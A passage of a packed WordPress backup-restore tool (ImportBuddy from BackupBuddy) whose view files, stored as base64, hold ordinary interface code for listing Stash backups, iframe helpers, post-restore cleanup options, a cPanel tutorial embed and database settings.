kaSBdICk7CgkJCQkJCWNvbnRpbnVlOwoJCQkJCX0gZWxzZWlmICggJ3BsdWdpbnMnID09ICRzdGFzaF9maWxlWydiYWNrdXBfdHlwZSddICkgeyAvLyBPbWl0IGZyb20gbGlzdC4KCQkJCQkJdW5zZXQoICRzdGFzaF9maWxlc1sgJGkgXSApOwoJCQkJCQljb250aW51ZTsKCQkJCQl9IGVsc2VpZiAoICdtZWRpYScgPT0gJHN0YXNoX2ZpbGVbJ2JhY2t1cF90eXBlJ10gKSB7IC8vIE9taXQgZnJvbSBsaXN0LgoJCQkJCQl1bnNldCggJHN0YXNoX2ZpbGVzWyAkaSBdICk7CgkJCQkJCWNvbnRpbnVlOwoJCQkJCX0gZWxzZWlmICggJ2ZpbGVzJyA9PSAkc3Rhc2hfZmlsZVsnYmFja3VwX3R5cGUnXSApIHsKCQkJCQkJJGJhY2t1cF90eXBlID0gJ0ZpbGVzJzsKCQkJCQl9IGVsc2UgewoJCQkJCQkkYmFja3VwX3R5cGUgPSAnVW5rbm93bic7CgkJCQkJCWNvbnRpbnVlOwoJCQkJCX0KCQkJCQkkc3Rhc2hfZmlsZVsnYmFja3VwX3R5cGVfcHJldHR5J10gPSAkYmFja3VwX3R5cGU7CgoJCQkJCSRiYWNrdXBfbGlzdF90ZW1wWyAkbW9kaWZpZWQgXSA9ICRzdGFzaF9maWxlOwoJCQkJfQoJCQkJa3Jzb3J0KCAkYmFja3VwX2xpc3RfdGVtcCApOwoJCQkJJHN0YXNoX2ZpbGVzID0gJGJhY2t1cF9saXN0X3RlbXA7CgkJCQl1bnNldCggJGJhY2t1cF9saXN0X3RlbXAgKTsKCgoJCQkJLy8gU3BsaXQgdXAgaW50byBzaXRlcy4KCQkJCSRiYWNrdXBfbGlzdHMgPSBhcnJheSgpOwoJCQkJZm9yZWFjaCAoICRzdGFzaF9maWxlcyBhcyAkc3Rhc2hfZmlsZSApIHsKCQkJCQkkYmFja3VwX2xpc3RzWyAkc3Rhc2hfZmlsZVsnc2l0ZSddIF1bXSA9ICRzdGFzaF9maWxlOwoJCQkJfQoJCQkJdW5zZXQoICRzdGFzaF9maWxlcyApOwoKCgkJCQkvLyBSZW5kZXIgdGFibGUgbGlzdGluZyBmaWxlcy4KCQkJCWlmICggY291bnQoICRiYWNrdXBfbGlzdHMgKSA9PSAwICkgewoJCQkJCWVjaG8gJzxiPic7CgkJCQkJZXNjX2h0bWxfZSggJ1lvdSBoYXZlIG5vdCBzZW50IGFueSBiYWNrdXBzIHRvIFN0YXNoIHlldCAob3IgZmlsZXMgYXJlIHN0aWxsIHRyYW5zZmVycmluZykuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICk7CgkJCQkJZWNobyAnPC9iPic7CgkJCQl9IGVsc2UgewoKCQkJCQkvLyBMb29wIHRocm91Z2ggZWFjaCBzaXRlLgoJCQkJCWZvcmVhY2ggKCAkYmFja3VwX2xpc3RzIGFzICRzdGFzaF9maWxlcyApIHsgLy8gRWFjaCBzaXRlLgoKCQkJCQkJLy8gTG9vcCB0aHJvdWdoIGVhY2ggZmlsZSB3aXRoaW4gdGhpcyBzaXRlLgoJCQkJCQkkZGlzcGxheV9saXN0ID0gYXJyYXkoKTsKCQkJCQkJZm9yZWFjaCAoICRzdGFzaF9maWxlcyBhcyAkc3Rhc2hfZmlsZSApIHsgLy8gRWFjaCBiYWNrdXAgaW4gc2l0ZS4KCQkJCQkJCSRzaXRlID0gJHN0YXNoX2ZpbGVbJ3NpdGUnXTsKCgkJCQkJCQkkZGlzcGxheV9saXN0W10gPSBhcnJheSgKCQkJCQkJCQkkc3Rhc2hfZmlsZVsnYmFja3VwX3R5cGVfcHJldHR5J10sCgkJCQkJCQkJJzxzcGFuIGNsYXNzPSJzdGFzaF9iYWNrdXBfZmlsZSI+JyAuIHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5kYXRlKCBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+bG9jYWxpemVfdGltZSggJHN0YXNoX2ZpbGVbJ3VwbG9hZGVkX3RpbWVzdGFtcCddICksICdsLCBGIGosIFkgLSBnOmkgQScgKSAuICc8L3NwYW4+IDxzcGFuIGNsYXNzPSJkZXNjcmlwdGlvbiI+KCcgLiBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+dGltZV9hZ28oICRzdGFzaF9maWxlWyd1cGxvYWRlZF90aW1lc3RhbXAnXSApIC4gJyBhZ28pPC9zcGFuPjwvYT48YnI+PGEgaHJlZj0iJyAuICRzdGFzaF9maWxlWyd1cmwnXSAuICciPicgLiAkc3Rhc2hfZmlsZVsnYmFzZW5hbWUnXSAuICc8L2E+JywKCQkJCQkJCQlwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+ZmlsZV9zaXplKCAkc3Rhc2hfZmlsZVsnc2l6ZSddICksCgkJCQkJCQkJJzxmb3JtIGFjdGlvbj0iPyNwbHVnaW5idWRkeS10YWJzLXNlcnZlciIgbWV0aG9kPSJQT1NUIj4KCQkJCQkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGFzc19oYXNoIiB2YWx1ZT0iJyAuIFBCX1BBU1NXT1JEIC4gJyI+CgkJCQkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVwbG9hZCIgdmFsdWU9InN0YXNoIj4KCQkJCQkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0aW9ucyIgdmFsdWU9IicgLiBodG1sc3BlY2lhbGNoYXJzKCBzZXJpYWxpemUoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9ucyApICkgLiAnIj4KCQkJCQkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibGluayIgdmFsdWU9IicgLiAkc3Rhc2hfZmlsZVsndXJsJ10gLiAnIj4KCQkJCQkJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iUmVzdG9yZSIgY2xhc3M9ImJ1dHRvbi1wcmltYXJ5Ij4KCQkJCQkJCQk8L2Zvcm0+JywKCgkJCQkJCQkpOwoJCQkJCQl9CgoJCQkJCQllY2hvICc8aDM+U2l0ZTogJyAuIGVzY19odG1sKCAkc2l0ZSApIC4gJzwvaDM+JzsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OiR1aS0+bGlzdF90YWJsZSgKCQkJCQkJCSRkaXNwbGF5X2xpc3QsCgkJCQkJCQlhcnJheSgKCQkJCQkJCQknY29sdW1ucycgPT4gYXJyYXkoICdUeXBlJywgJ1VwbG9hZGVkPGltZyBzcmM9IicgLiBwYl9iYWNrdXBidWRkeTo6cGx1Z2luX3VybCgpIC4gJy9pbWFnZXMvc29ydF9kb3duLnBuZyIgc3R5bGU9InZlcnRpY2FsLWFsaWduOiAwcHg7IiB0aXRsZT0iU29ydGVkIG1vc3QgcmVjZW50IGZpcnN0Ij48c3BhbiBjbGFzcz0iZGVzY3JpcHRpb24iPihDbGljayB0byBkb3dubG9hZCk8L3NwYW4+JywgJ0ZpbGUgU2l6ZScsICdBY3Rpb24nICksCgkJCQkJCQkJJ2NzcycgICAgID0+ICd3aWR0aDogMTAwJTsnLAoJCQkJCQkJKQoJCQkJCQkpOwoJCQkJCQllY2hvICc8YnI+PGJyPic7CgoJCQkJCX0KCQkJCX0KCQkJfSAvLyBlbmQgbm8gZXJyb3JzIGdldHRpbmcgZmlsZSBpbmZvIGZyb20gQVBJLgoJCX0gZWxzZSB7IC8vIGVuZCBsb2dnZWQgaW4uCgkJCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggJ1N0YXNoIExvZ2luIEVycm9yLicgKTsKCQkJJGNyZWRlbnRpYWxzX2Zvcm0tPmRpc3BsYXlfc2V0dGluZ3MoICdTdWJtaXQnICk7CgkJfQoJfQp9IC8vIGVuZCBmb3JtIHN1Ym1pdHRlZC4KCj8+Cgo8YnI+PGhyPgo8Y2VudGVyPgoJPGEgaHJlZj0iaHR0cHM6Ly9zeW5jLml0aGVtZXMuY29tL3N0YXNoIiB0YXJnZXQ9Il9ibGFuayIgY2xhc3M9ImJ1dHRvbiBidXR0b24tc2Vjb25kYXJ5Ij5NYW5hZ2UgeW91ciBTdGFzaCBmaWxlcyB2aWEgaVRoZW1lcyBTeW5jPC9hPgo8L2NlbnRlcj4KPGJyPgo=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/_html_1_stash.php,importbuddy/views/_html_1_stash.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/_iframe_footer.php,importbuddy/views/_iframe_footer.php
CTxzY3JpcHQ+Ly9iYl9hY3Rpb24oICdpZnJhbWVMb2FkZWQnICk7PC9zY3JpcHQ+CjwvaHRtbD4=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/_iframe_footer.php,importbuddy/views/_iframe_footer.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/_iframe_header.php,importbuddy/views/_iframe_header.php
PGh0bWw+Cjw/cGhwCnJlcXVpcmUoICdfYXNzZXRzLnBocCcgKTsKCgoKaWYgKCAndHJ1ZScgIT0gcGJfYmFja3VwYnVkZHk6Ol9HRVQoICdkZXBsb3knICkgKSB7IC8vIE5PUk1BTCwgTk9UIERFUExPWU1FTlQuCj8+Cgk8c2NyaXB0PgoJCXZhciB3aW4gPSB3aW5kb3cuZGlhbG9nQXJndW1lbnRzIHx8IG9wZW5lciB8fCBwYXJlbnQgfHwgdG9wOwoJCXdpbi53aW5kb3cuc2Nyb2xsVG8oMCwwKTsKCQkKCQlmdW5jdGlvbiBwYl9zdGF0dXNfYXBwZW5kKCBzdGF0dXNfc3RyaW5nICkgewoJCQkvL3ZhciB3aW4gPSB3aW5kb3cuZGlhbG9nQXJndW1lbnRzIHx8IG9wZW5lciB8fCBwYXJlbnQgfHwgdG9wOwoJCQl3aW4ucGJfc3RhdHVzX2FwcGVuZCggc3RhdHVzX3N0cmluZyApOwoJCX0KCQlmdW5jdGlvbiBwYl9zdGF0dXNfdW5kb3VybCggdW5kb191cmwgKSB7CgkJCS8vdmFyIHdpbiA9IHdpbmRvdy5kaWFsb2dBcmd1bWVudHMgfHwgb3BlbmVyIHx8IHBhcmVudCB8fCB0b3A7CgkJCXdpbi5wYl9zdGF0dXNfdW5kb3VybCggdW5kb191cmwgKTsKCQl9CgkJCgkJCgkJCgkJZnVuY3Rpb24gcGFnZVRpdGxlKCB0aXRsZSApIHsKCQkJCgkJCXdpbi5qUXVlcnkoICcjcGFnZVRpdGxlJyApLmh0bWwoIHRpdGxlICk7CgkJfQoJCQoJCWZ1bmN0aW9uIGJiX2FjdGlvbiggYWN0aW9uLCBub3RlICkgewoJCQl3aW4uYmJfYWN0aW9uKCBhY3Rpb24sIG5vdGUgKTsKCQl9CgkJCgkJZnVuY3Rpb24gYmJfcmVzdG9yZURhdGEoIGRhdGEgKSB7CgkJCXdpbi5iYl9yZXN0b3JlRGF0YSggZGF0YSApOwoJCX0KCQkKCQlmdW5jdGlvbiBiYl9zaG93U3RlcCggc3RlcCwgZGF0YSApIHsKCQkJd2luLmJiX3Nob3dTdGVwKCBzdGVwLCBkYXRhICk7CgkJfQoJCQoJPC9zY3JpcHQ+Cjw/cGhwIH0gZWxzZSB7IC8vIERFUExPWU1FTlQgPz4KCTxzY3JpcHQ+CgkJZnVuY3Rpb24gcGJfc3RhdHVzX2FwcGVuZCgpIHsKCQl9CgkJCgkJZnVuY3Rpb24gcGJfc3RhdHVzX3VuZG91cmwoIHVuZG9fdXJsICkgewoJCX0KCQkKCQlmdW5jdGlvbiBwYWdlVGl0bGUoIHRpdGxlICkgewoJCX0KCQkKCQlmdW5jdGlvbiBiYl9hY3Rpb24oIGFjdGlvbiwgbm90ZSApIHsKCQl9CgkJCgkJZnVuY3Rpb24gYmJfcmVzdG9yZURhdGEoIGRhdGEgKSB7CgkJfQoJCQoJCWZ1bmN0aW9uIGJiX3Nob3dTdGVwKCBzdGVwLCBkYXRhICkgewoJCX0KCTwvc2NyaXB0Pgo8P3BocCB9ID8+
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/_iframe_header.php,importbuddy/views/_iframe_header.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/cleanupSettings.htm,importbuddy/views/cleanupSettings.htm
PCUgaWYgKCBwb3RlbnRpYWxQcm9ibGVtcy5sZW5ndGggPiAwICkgeyAlPgoJPGRpdiBjbGFzcz0ibWFpbl9ib3hfaGVhZCB3YXJuaW5nX2FsZXJ0X2JveCI+CgkJPHNwYW4gY2xhc3M9ImVycm9yX3dhcm5pbmdfdGl0bGUiPk9uZSBvciBtb3JlIHBvdGVudGlhbCBwcm9ibGVtcyBtYXkgaGF2ZSBiZWVuIGZvdW5kOjwvc3Bhbj4KCQk8dWwgY2xhc3M9ImJhY2t1cGJ1ZGR5X3dhcm5pbmdfbGlzdCI+CgkJCTwlIGpRdWVyeS5lYWNoKCBwb3RlbnRpYWxQcm9ibGVtcywgZnVuY3Rpb24oIGtleSwgcG90ZW50aWFsUHJvYmxlbSApeyAlPgoJCQk8bGk+PCU9cG90ZW50aWFsUHJvYmxlbSU+PC9saT4KCQkJPCUgfSk7ICU+CgkJPC91bD4KCTwvZGl2Pjxicj4KPCUgfSAlPgoKPCUgaWYgKCAnMScgPT0gYmxvZ1B1YmxpY1N0YXR1cyApIHsKCXNvdXJjZVNpdGVQdWJsaWNTdGF0dXNUZXh0ID0gJ1B1YmxpYyAtIERvIG5vdCBkaXNjb3VyYWdlIHNlYXJjaCBlbmdpbmVzIGZyb20gaW5kZXhpbmcgdGhpcyBzaXRlJzsKfSBlbHNlIGlmICggJzAnID09IGJsb2dQdWJsaWNTdGF0dXMgKSB7Cglzb3VyY2VTaXRlUHVibGljU3RhdHVzVGV4dCA9ICdQcml2YXRlIC0gRGlzY291cmFnZSBzZWFyY2ggZW5naW5lcyBmcm9tIGluZGV4aW5nIHRoaXMgc2l0ZSc7Cn0gZWxzZSB7Cglzb3VyY2VTaXRlUHVibGljU3RhdHVzVGV4dCA9ICdDdXJyZW50IHN0YXR1cyBub3QgZGV0ZWN0ZWQnOwp9CiU+CgoKCgo8aDM+VmVyaWZ5IHNpdGUgYmVmb3JlIHByb2NlZWRpbmcgdG8gY2xlYW51cDo8L2gzPgo8YSBocmVmPSI8JT1ob21ldXJsJT4iIHRhcmdldD0iX2JsYW5rIj48JT1ob21ldXJsJT48L2E+Cjxicj48YnI+CgoKPHNjcmlwdD4KalF1ZXJ5KCAnLmV4cGFuZGVyJyApLmNsaWNrKCBmdW5jdGlvbigpewoJalF1ZXJ5KHRoaXMpLm5leHQoJy5jb250ZW50Jykuc2xpZGVUb2dnbGUoKTsKfSk7Cjwvc2NyaXB0PgoKPGgzPkNvbW1vbiBpc3N1ZXMgJiB0aXBzOjwvaDM+CjxkaXYgY2xhc3M9ImV4cGFuZGVyLWJveCI+Cgk8YSBjbGFzcz0iZXhwYW5kZXIiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKSI+Q2xpY2tpbmcgb24gYSBwb3N0IHJlc3VsdHMgaW4gYSA0MDQgTm90IEZvdW5kPC9hPgoJPGRpdiBjbGFzcz0iY29udGVudCI+CgkJVHlwaWNhbGx5IGNhdXNlZCBieSBhIHByb2JsZW0gd2l0aCB5b3VyIC5odGFjY2VzcyBmaWxlLCB0aGVyZSBpcyBhIHNpbXBsZSBmaXg6IExvZyBpbnRvIHlvdXIgd3AtYWRtaW4sIG5hdmlnYXRlIHRvIFNldHRpbmdzOiBQZXJtYWxpbmtzIGluIHRoZSBXb3JkUHJlc3MgbWVudSBhbmQgY2xpY2sgdGhlICJTYXZlIiBidXR0b24gdG8gdXBkYXRlIHBlcm1hbGluayBzZXR0aW5ncyB0byB5b3VyIC5odGFjY2VzcyBmaWxlLiBUaGlzIHR5cGljYWxseSByZXNvbHZlcyB0aGlzIHByb2JsZW0uCgk8L2Rpdj4KPC9kaXY+CjxkaXYgY2xhc3M9ImV4cGFuZGVyLWJveCI+Cgk8YSBjbGFzcz0iZXhwYW5kZXIiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKSI+TG9nZ2luZyBpbiByZWRpcmVjdHMgYmFjayB0byB0aGUgb2xkIHNpdGU8L2E+Cgk8ZGl2IGNsYXNzPSJjb250ZW50Ij4KCQlUaGlzIGlzIHVzdWFsbHkgY2F1c2VkIGJ5IGVudGVyaW5nIHRoZSBzb3VyY2Ugc2l0ZSBVUkwgYXMgdGhlIGRlc3RpbmF0aW9uIFVSTCBvbiBTdGVwIDMuICBSZS1yZXN0b3JpbmcgdXNpbmcgdGhlIGNvcnJlY3QgVVJMIHNob3VsZCBmaXggdGhpcyBwcm9ibGVtLgoJPC9kaXY+CjwvZGl2Pgo8ZGl2IGNsYXNzPSJleHBhbmRlci1ib3giPgoJPGEgY2xhc3M9ImV4cGFuZGVyIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCkiPlNvdXJjZSBzaXRlIGhhcyBjaGFuZ2VkIHRvIHRoZSBkZXN0aW5hdGlvbiBVUkw8L2E+Cgk8ZGl2IGNsYXNzPSJjb250ZW50Ij4KCQlUaGlzIGlzIGNhdXNlZCBpZiB5b3UgcmVzdG9yZWQgb3ZlciB5b3VyIHNvdXJjZSBzaXRlIGRhdGFiYXNlIGJ5IGVudGVyaW5nIHRoZSBzb3VyY2Ugc2l0ZSBkYXRhYmFzZSBzZXR0aW5ncyBvbiBTdGVwIDMuIFRoaXMgbWVhbnMgdGhhdCB5b3VyIG5ldyBzaXRlIEFORCB5b3VyIG9sZCBzaXRlIGFyZSBub3cgdXNpbmcgdGhlIHNhbWUgZGF0YWJhc2UgYnV0IHRoZSBkYXRhYmFzZSBoYXMgYmVlbiBtaWdyYXRlZCB0byB3b3JrIHdpdGggdGhlIG5ldyBVUkwuIFlvdSBtYXkgcmUtcmVzdG9yZSBib3RoIHRoZSBzb3VyY2UgYW5kIGRlc3RpbmF0aW9uIHVzaW5nIGNvcnJlY3Qgc2V0dGluZ3Mgb3IgdXNlIHRoZSBtYXNzIGRhdGFiYXNlIHJlcGxhY2VtZW50IHRvb2wuICBZb3UgbWF5IGNvcnJlY3QgdGhlIG1vZGlmaWVkIFVSTCBvbiB0aGUgc291cmNlIHNpdGUgYnkgdXNpbmcgdGhlIFNlcnZlciBUb29scyBwYWdlJ3MgTWFzcyBUZXh0IFJlcGxhY2UgdG9vbCB3aXRoaW4gdGhlIERhdGFiYXNlIHRhYi4KCTwvZGl2Pgo8L2Rpdj4KPGRpdiBjbGFzcz0iZXhwYW5kZXItYm94Ij4KCTxhIGNsYXNzPSJleHBhbmRlciIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIj5GaWxlIHBlcm1pc3Npb25zIGhhdmUgY2hhbmdlZDwvYT4KCTxkaXYgY2xhc3M9ImNvbnRlbnQiPgoJCUN1c3RvbSBmaWxlIHBlcm1pc3Npb25zIG1heSBiZSBzZXJ2ZXItc3BlY2lmaWMgYW5kIG1heSBub3Qgc3RheSB0aGUgc2FtZSBhcyB0aGUgc291cmNlIHNpdGUuIElmIHlvdSBtYWRlIGFueSBjdXN0b20gZmlsZSBwZXJtaXNzaW9uIGNoYW5nZXMgKGVpdGhlciBtYW51YWxseSBvciB2aWEgYSBwbHVnaW4gc3VjaCBhcyBhIFNlY3VyaXR5IHBsdWdpbikgeW91IG1heSBuZWVkIHRvIG1hbnVhbGx5IHJlLWFwcGx5IHRoZW0uICBOb3QgYWxsIHNlcnZlcnMgd2lsbCBmdW5jdGlvbiBwcm9wZXJseSB3aXRoIHRoZSBzYW1lIHBlcm1pc3Npb25zLgoJPC9kaXY+CjwvZGl2Pgo8YnI+PGJyPgoKCgo8Zm9ybSBvblN1Ym1pdD0ialF1ZXJ5KCcjY2xlYW51cFNldHRpbmdzLXJlc3RvcmVEYXRhJykudmFsKCB3aW5kb3cuYnRvYSggZW5jb2RlVVJJQ29tcG9uZW50KCBKU09OLnN0cmluZ2lmeSggd2luZG93LnJlc3RvcmVEYXRhICkgKSApICk7IiBhY3Rpb249Ij9hamF4PTYiIHRhcmdldD0ibWluaUZyYW1lIiBtZXRob2Q9InBvc3QiPjwhLS0gdGhpcyBmb3JtIGlzIG9ubHkgc3VibWl0dGVkIGFmdGVyIHJ1bm5pbmcgdGhyb3VnaCBqYXZhc2NyaXB0LiBzdWJtaXR0aW5nIGFjdHVhbCBmb3JtIGluc3RlYWQgb2YgdXNpbmcgalF1ZXJ5IHBvc3Qgc28gd2UgY2FuIHRhcmdldCBpZnJhbWUuIC0tPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmVzdG9yZURhdGEiIGlkPSJjbGVhbnVwU2V0dGluZ3MtcmVzdG9yZURhdGEiIHZhbHVlPSIiPgoJCgkKCQoJPGRpdiBjbGFzcz0ibWFpbl9ib3hfZm9vdCI+CgkJCgkJPGgzPlNpdGUgU2VhcmNoIEVuZ2luZSBWaXNpYmlsaXR5PC9oMz4KCQk8ZGl2IHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7IHRleHQtYWxpZ246IGxlZnQ7Ij4KCQkJPGxhYmVsIGZvcj0ic2V0X2Jsb2dfcHVibGljLWtlZXAiIHN0eWxlPSJmb250LXNpemU6IDEycHg7Ij48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InNldF9ibG9nX3B1YmxpYyIgaWQ9InNldF9ibG9nX3B1YmxpYy1rZWVwIiB2YWx1ZT0iIiBjaGVja2VkPSJjaGVja2VkIj5ObyBjaGFuZ2UgKGRlZmF1bHQpOiA8JT1zb3VyY2VTaXRlUHVibGljU3RhdHVzVGV4dCU+PC9sYWJlbD48YnI+CgkJCTxsYWJlbCBmb3I9InNldF9ibG9nX3B1YmxpYy1wdWJsaWMiIHN0eWxlPSJmb250LXNpemU6IDEycHg7Ij48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InNldF9ibG9nX3B1YmxpYyIgaWQ9InNldF9ibG9nX3B1YmxpYy1wdWJsaWMiIHZhbHVlPSIxIj5QdWJsaWMgLSBEbyBub3QgZGlzY291cmFnZSBzZWFyY2ggZW5naW5lcyBmcm9tIGluZGV4aW5nIHRoaXMgc2l0ZTwvbGFiZWw+PGJyPgoJCQk8bGFiZWwgZm9yPSJzZXRfYmxvZ19wdWJsaWMtcHJpdmF0ZSIgc3R5bGU9ImZvbnQtc2l6ZTogMTJweDsiPjxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0ic2V0X2Jsb2dfcHVibGljIiBpZD0ic2V0X2Jsb2dfcHVibGljLXByaXZhdGUiIHZhbHVlPSIwIj5Qcml2YXRlIC0gRGlzY291cmFnZSBzZWFyY2ggZW5naW5lcyBmcm9tIGluZGV4aW5nIHRoaXMgc2l0ZTwvbGFiZWw+PGJyPgoJCTwvZGl2PgoJCQkKCQk8YnI+PGJyPgoJCQoJCTxoMz5JbXBvcnRCdWRkeSBDbGVhbnVwOjwvaDM+CgkJPHRhYmxlIHN0eWxlPSJtYXJnaW4tbGVmdDogYXV0bzsgbWFyZ2luLXJpZ2h0OiBhdXRvOyB0ZXh0LWFsaWduOiBsZWZ0OyI+PHRyPjx0ZD4KCQkJPGxhYmVsIGZvcj0iZGVsZXRlX2JhY2t1cCIgc3R5bGU9IndpZHRoOiBhdXRvOyBmb250LXNpemU6IDEycHg7Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImRlbGV0ZV9iYWNrdXAiIGlkPSJkZWxldGVfYmFja3VwIiB2YWx1ZT0iMSIgY2hlY2tlZD4gRGVsZXRlIGJhY2t1cCB6aXAgYXJjaGl2ZTwvbGFiZWw+CgkJCTxicj4KCQkJPGxhYmVsIGZvcj0iZGVsZXRlX3RlbXAiIHN0eWxlPSJ3aWR0aDogYXV0bzsgZm9udC1zaXplOiAxMnB4OyI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJkZWxldGVfdGVtcCIgaWQ9ImRlbGV0ZV90ZW1wIiB2YWx1ZT0iMSIgY2hlY2tlZD4gRGVsZXRlIHRlbXBvcmFyeSBpbXBvcnQgZmlsZXM8L2xhYmVsPgoJCTwvdGQ+PHRkPgoJCQk8bGFiZWwgZm9yPSJkZWxldGVfaW1wb3J0YnVkZHkiIHN0eWxlPSJ3aWR0aDogYXV0bzsgZm9udC1zaXplOiAxMnB4OyI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJkZWxldGVfaW1wb3J0YnVkZHkiIGlkPSJkZWxldGVfaW1wb3J0YnVkZHkiIHZhbHVlPSIxIiBjaGVja2VkPiBEZWxldGUgSW1wb3J0QnVkZHkgdG9vbCBmaWxlczwvbGFiZWw+CgkJCTxicj4KCQkJPGxhYmVsIGZvcj0iZGVsZXRlX2ltcG9ydGJ1ZGR5X2RpcmVjdG9yeSIgc3R5bGU9IndpZHRoOiBhdXRvOyBmb250LXNpemU6IDEycHg7Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImRlbGV0ZV9pbXBvcnRidWRkeV9kaXJlY3RvcnkiIGlkPSJkZWxldGVfaW1wb3J0YnVkZHlfZGlyZWN0b3J5IiB2YWx1ZT0iMSIgY2hlY2tlZD4gRGVsZXRlIEltcG9ydEJ1ZGR5IGRpcmVjdG9yeTwvbGFiZWw+CgkJCTxicj4KCQkJPGxhYmVsIGZvcj0iZGVsZXRlX2ltcG9ydGJ1ZGR5bG9nIiBzdHlsZT0id2lkdGg6IGF1dG87IGZvbnQtc2l6ZTogMTJweDsiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZGVsZXRlX2ltcG9ydGJ1ZGR5bG9nIiBpZD0iZGVsZXRlX2ltcG9ydGJ1ZGR5bG9nIiB2YWx1ZT0iMSIgY2hlY2tlZD4gRGVsZXRlIGltcG9ydGJ1ZGR5LnR4dCBsb2cgZmlsZTwvbGFiZWw+CgkJPC90ZD48L3RyPjwvdGFibGU+CgkJCgkJPGJyPgoJCTxjZW50ZXI+CgkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5leHRTdGVwIiB2YWx1ZT0iRmluaXNoIENsZWFudXAiIGNsYXNzPSJpdC1idXR0b24gcGJfZGF0YWJhc2VfbmV4dF90ZXN0Ij4KCQk8L2NlbnRlcj4KCQoJPC9kaXY+CjwvZm9ybT4=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/cleanupSettings.htm,importbuddy/views/cleanupSettings.htm
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/cpanelTutorial.htm,importbuddy/views/cpanelTutorial.htm
PG9iamVjdCBjbGFzc2lkPSJjbHNpZDpkMjdjZGI2ZS1hZTZkLTExY2YtOTZiOC00NDQ1NTM1NDAwMDAiIGNvZGViYXNlPSJodHRwOi8vZnBkb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj03LDAsMCwwIiBpZD0iQ2FwdGl2YXRlMSI+Cgk8cGFyYW0gbmFtZT0ibW92aWUiIHZhbHVlPSJodHRwOi8vd3d3LmNwYW5lbC5uZXQvbWVkaWEvdHV0b3JpYWxzL215c3Fsd2l6YXJkLnN3ZiI+Cgk8cGFyYW0gbmFtZT0icXVhbGl0eSIgdmFsdWU9ImhpZ2giPjxwYXJhbSBuYW1lPSJsb29wIiB2YWx1ZT0iMCI+Cgk8ZW1iZWQgc3JjPSJodHRwOi8vd3d3LmNwYW5lbC5uZXQvbWVkaWEvdHV0b3JpYWxzL215c3Fsd2l6YXJkLnN3ZiIgd2lkdGg9IjEwMCUiIGhlaWdodD0iNTAwIiBsb29wPSIwIiBxdWFsaXR5PSJsb3ciIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgbWVudT0iZmFsc2UiPgo8L29iamVjdD4=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/views/cpanelTutorial.htm,importbuddy/views/cpanelTutorial.htm
###PACKDATA,FILE_START,/_importbuddy/importbuddy/views/databaseSettings.htm,importbuddy/views/databaseSettings.htm
PHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCS5kYl90ZXN0X2NvbnRhaW5lciB7CgkJY2xlYXI6IGJvdGg7CgkJZGlzcGxheTogbm9uZTsKCQliYWNrZ3JvdW5kLWNvbG9yOiAjRkFGQUZBOwoJCQoJCWJvcmRlci1yYWRpdXM6IDRweDsKCQktbW96LWJvcmRlci1yYWRpdXM6IDRweDsKCQktd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsKCQlib3JkZXI6IDFweCBzb2xpZCAjREZERkRGOwoJCQoJCW1hcmdpbi1yaWdodDoxMHB4OwoJCXBhZGRpbmc6OHB4OwoJfQo8L3N0eWxlPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaW1wb3J0YnVkZHkvanMvanF1ZXJ5LmxlYW5Nb2RhbC5taW4uanMiPjwvc2NyaXB0PgoKCgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cgl2YXIgZGF0YWJhc2VQYXNzZWQgPSBmYWxzZTsKCQoJalF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHsKCQkKCQlsb2FkVG9vbHRpcHMoKTsKCQkKCQlqUXVlcnkoICcjZGF0YWJhc2UtYm94IGlucHV0JyAp